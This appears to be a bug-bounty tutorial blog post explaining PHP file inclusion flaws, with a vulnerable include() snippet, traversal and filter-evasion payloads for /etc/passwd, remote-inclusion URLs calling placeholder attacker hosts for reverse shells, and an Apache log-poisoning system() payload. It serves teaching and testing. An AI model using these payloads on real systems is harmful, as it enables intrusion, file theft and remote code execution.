Explaining vulnerabilities : File inclusion {Bug bounties}

3 min readNov 25, 2022

File inclusion vulnerabilities are part of the OWASP top ten. In this article, I’ll explain what they are,how to find them, how to exploit them and how to leverage these types of vulnerabilities, into something more critical (RCE)

What are file inclusion vulnerabilities?

Take this snippet of PHP code for instance:

$file = $_GET['file'];
include($file);

What is wrong with it you may ask?

The input is NOT sanitized, meaning , the user can enter here ANY directory from the local web server, such as the common file “/etc/passwd” which exists on every Unix-based system, and in the end , accessing sensitive data from the server.

Types of file inclusion vulnerabilities

Local File Inclusion (LFI) :

-> This allows an attacker to view local files

-> More common on web applications

-> More difficult to exploit

Remote File Inclusion (RFI):

-> This allows an attacker to view remote files (files from other servers)

-> Less common on web applications.

-> Easier to exploit

Find file inclusion vulnerabilities

If you already have your own methodology of investigating and doing recon on a website, then you can skip this, however, if you don’t , then I really recommend you check out this article before we get started.
Now that you have a methodology to begin with, after you’ve gone through the entire web app and all of its functions , start searching through requests and responses for parameters such as :

?cat=
?dir=
?action=
?board=
?date=
?detail=
?file=
?download=
?path=
?folder=
?prefix=
?include=

?page=
?inc=
?locate=
?show=
?doc=
?site=
?type=
?view=
?content=
?document=
?layout=
?mod=

Verifying the vulnerabilitie(s) :

If you’ve done your recon properly, you should have a grasp idea of what the operating system that’s running the web server is . Here are some payloads for mostly all of the systems you’ll be encountering
Linux : /etc/passwd
Windows : %WINDIR%\win.ini
MacOS : /etc/fstab

-> If it’s a Linux system, then you can also try to insert a lot of “../../../../”. This is done to escape the current running directory, since most web servers will probably run from var/www/html directory.

-> If it’s a Windows computer however, just add like this : “..\..\..\..\”

Bypassing “security” mechanisms

Filter evasion

Try encoding your payloads: Double HTML encoding, UTF-8 encoding, Null Byte termination

Tricky payloads for poorly written detection mechanisms :

?file=….//….//etc/passwd
?file=..///////..////..//////etc/passwd
?file=..///////..////..//////etc/passwd

For RFI (Remote file inclusion ) :

Getting reverse shell to your listener

-> ?link=http://attacker-website/reverse-shell.php

Accessing services such as SMB shares :

-> ?resource=\\IP\SHARE\cmd.php

Poppin’ shells with RFIs:

First step is to either write a good PHP reverse shell or to get one from Github
Then, host it.
After that, in the vulnerable parameter, insert the link that contains your payload; e.g. https://legit-company.com/main.php?link=http://hacker-hosting-website/reverse.php

Poppin’ shells with LFIs :

Exploiting Apache log files:

In case there is Apache running on the server, we can use this to our advantage and get inside the server using something called Log poisoning

Access /var/log/apache2/access.log to verify! (enter this path inside the vulnerable parameter)
Now send a request similar to this :

-> https://legit-company.com/?parameter=<?php system($_GET[‘c’]);?>

Recommended tools :

LFISuite
FIMap
Liffy
kadimus

I hope you’ve enjoyed this article and have found it useful. If you wish to see more content published in the “Explaining vulnerabilities” series, make sure to follow me!